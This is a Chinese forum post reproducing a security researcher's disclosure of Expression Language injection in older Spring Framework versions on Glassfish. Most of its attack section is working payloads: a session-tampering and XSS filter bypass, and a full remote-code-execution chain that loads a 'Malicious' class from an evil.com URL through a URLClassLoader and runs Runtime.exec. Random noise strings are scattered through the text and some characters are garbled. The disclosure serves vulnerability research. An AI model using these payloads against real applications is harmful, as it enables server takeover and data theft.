找回密码
 立即注册
查看: 2729|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
  B! E+ f" `- G7 S8 g  _! vExpression Language Injection
- h- H6 r% `$ y  k( VSpring Framework脆弱性—DanAmodio
% ^5 R  s9 R# b& r; Q- M全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
; Y" g% z% |8 b; V可能会存在风险。
9 b6 s$ Z- X: C2 u# O" C# a" D在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的8 w) d! I) c- O7 Z( O! P
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
" u" O+ _7 ]# w8 \+ B8 F4 e# E以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
7 j' I8 C" z) V9 g  C以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
1 H4 O1 r, A7 h3 S+ A: T- ~0 z6 ]版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。+ W0 o- ~" X5 }2 b1 n
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
1 d- I" ~7 k, J! E" B" X我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版. b+ D3 w, `. t3 I* o* c
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。+ ]" l  C3 g' W/ _% `
这些版本不支持禁用double EL resolution.
; @  g. W& `# ^7 }1 Q8 ~  y这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
! C% T) v. M+ V& w( `) aEL2.2容器上可能进行远程代码执行。
4 `4 M+ j; L- U; N) l9 \这是一个原始信息泄露的攻击例子:
: N9 j7 k+ O2 }, g" C* r请求:) |& c0 Y" j2 \$ O& `
ttp://vulnerable.com/foo?message=${applicationScope}
& z7 [% A6 {/ J) l到达以下内容页面:, L" P' d& ^8 g
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
& O' }* ^2 J6 Q% @你也可以做一些其他事情,如这样:8 K1 z* M- v8 m  z
${9999+1}6 ]' v1 j! Y' h- N: G: A% @
还可以访问session 对象和beans
3 V4 r) V/ P* p" S" M! }${employee.lastName}
0 z) P, h; k- o8 S在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是4 \9 l8 Z9 _, @( p
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东/ C! L8 `2 Q5 {, s. J! e+ M: m* z
西,比如XSS.
& I/ H+ h0 P: Q/ {, B  P哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签# M; \2 l3 E2 u
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤+ }1 G' |. c! t# C; _
呢?”
6 D3 i9 v/ K* S! u' U因此,我尝试巳缦拢�4 V5 n! e/ h* W, z, O' y0 D
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP) A" _+ Z) u0 S5 Y0 j3 G4 o, V
P
; g7 x" ]5 B$ x# ~6 F0 z2 ?我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
$ p) V+ D: L; A, O8 D2 l/ X9 c# \% y回的文本被插入进了spring:message 标签。
  J; u+ d( v6 H: ]' a2 T这里是一个最终绕过过滤的实例:+ r' n9 e2 y' M: Y
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ0 f+ C% l, s' ?# W" V) B
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
! R: F% W: O* S6 U+ V4 z7 W' k什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
9 I  C8 t- V4 J! x经过一番研究,我学习到EL2.2 增加了方法调用。! C+ T: {- o" x) Z( O4 I9 ^+ {" V
我写了一个快速测试应用程序代码并且检测一些功能
, A/ `5 H$ L- _3 M- W8 B: k: s${pageContext.request.getSession().setAttribute(“account”,”123456″)}
- s% ?( x+ R! H( r* S${pageContext.request.getSession().setAttribute(“admin”,true)}
5 x$ {( M4 z. A2 _好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
$ R0 Y5 T6 D& I( e/ Z, F指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
9 B) V7 q1 c( J${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1$ N) h4 Z' H' t" ]
“, 1234)}
! m: r7 u2 ^- x- F  j0 W6 s4 p1 `5 w${“”.getClass().forName(“java.lang.Runtime”)}
" }* t9 P/ }4 n0 K$ y哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不& f- e/ N9 y) K# s/ w: A
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
; o0 R2 e9 _) k4 m: t数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有, C, k- I( l+ z# t% W9 U
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
0 r' z8 V) I! k) Q1 F& R: y% K$ }方法签名invoke(Object obj, Object„ args)
$ L, \. ^. _/ p% ?1 dJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
9 h( b' n4 ~& W5 J0 R. R+ ^* h题,以让它可以工作起来。
, O" _2 r! o9 B3 z漏洞利用:$ f) V$ u" c- u
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我% I. M& d: s0 p- F! Z
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
* ]. c) N& i+ B* D% i这里有一些我试过的失败的用例,为了试图让它工作的用例:
" k9 c# _1 w6 v. ]( V/ b0 [ 写文件到文件系统
' J' N3 \% v1 A! e* Y+ S% ~+ H: X7 B 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.9 [0 K/ W" W8 e' \9 D6 Y
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
* f( [! L! Q# q! q2 z! i${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
! o7 Z6 g. a. e8 Ajavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:1 a/ N  W3 [/ E
org.springframework.expression.spel.standard.SpelExpressionParser not found: N! r& e4 a! r- R& K
by+ V4 Q' B4 T' I' ~" G
org.glassfish.web.javax.servlet.jsp [194].- c, K6 l" N- p! L
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
9 ^1 X& B( w9 @3 b/ n 利用反射来创建一个新的Runtime(and watch the world burn)
1 |/ [& a4 Q0 G( V. u${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
- z0 \, _& ^; ~2 ^& e8 [& T4 Q(“java.lang.Runtime”)).getDeclaredConstructors()[0])}$ F  h: P+ z: U
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}+ ~- |5 ^% h) C* o  O# K
 使用java.lang.ProcessBuilder9 ]8 C# X" H5 A3 c% p4 [9 i
 用表达式语言来评估表达式语言
5 a* p- ?6 `; u  Y& SExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
/ `' p4 x! Z$ @; v" l* m8 `4 e/ N${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
- q" O: ]( P7 e+ b( f1 |( t9 O( u“,”".getClass(),null)}9 Z4 F1 y* n+ i! j* g% u$ l
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)" i) m6 k0 ^$ u1 q8 `8 a) `5 u. U
我在使用一个空数组通过Method.invoke()时失败了很多次( H* m# k/ B, V+ i' ^& D  r: ^
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
  @/ ?. w8 r4 R, {.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
) Y; G# }7 J$ ]2 T  g! jrrayList”).newInstance().toArray())3 j4 c" x( a- g& R+ ^. N
java.lang.IllegalArgumentException: wrong number of arguments0 }% [, ?- l' g- |' P6 r2 v9 a6 I6 j
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
1 @  V( D+ d; \, R4 J6 u. q! t以创建一个恶意class文件并且指向类装载器.2 _- J5 o" N# }
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:. {* C2 K% U- v. G
public class Malicious {" b4 Y: ]( o* Z
public Malicious() {
; c2 l% B& ~, a2 ytry {
+ p8 t1 K; V* u' x# L; t+ cjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
" v4 S* ^/ M. K5 a: y7 Vjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win* O4 V, }& q" @. T4 ^+ B! |+ Y" J
} catch (Exception e) {
1 P  @  X9 I; P) ^  k}
- k: O) e* R; B8 m" @}2 `2 t) F0 U) o
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回' c2 r: u+ {" E: ~1 `5 V4 ]
话中,因此它可以被使用.
+ i. a- c1 d4 D& w& V8 ^! z( x. J${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName. r2 B+ P7 A. `6 N
(“java.util.ArrayList”).newInstance())}9 i  w/ ?7 [7 h8 {2 w5 D/ N' f
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建) _# B4 N& h+ b9 z) u. N
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
; ~4 u, V2 ]: N# \+ B1 BgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
& c" [0 i( m) P2 |+ ~' N我们可以调用的create(string)方法,然后转换对一个URL对象。9 Z! L* {( E! e2 ]8 e" P" i3 _+ O
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
) Y% Z* W; l' K* }8 j1 b! u, Q1 [  [ere/malicious/classfile/is/located/”).toURL())}
, H# Z6 q' ?  _- S" @) |然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,4 q3 O3 X+ E+ p2 `, C# Z
恶意类文件被装载并创建,触发远程代码." I9 T: S' ^/ P( V2 u7 F- Q
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
4 X2 C6 K9 W. [6 v1 M% bxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
5 b  D! q5 m5 @/ Q% P) A6 [0 k, TgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance7 n; B" p3 k* N4 S3 G% [, w1 B0 d
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表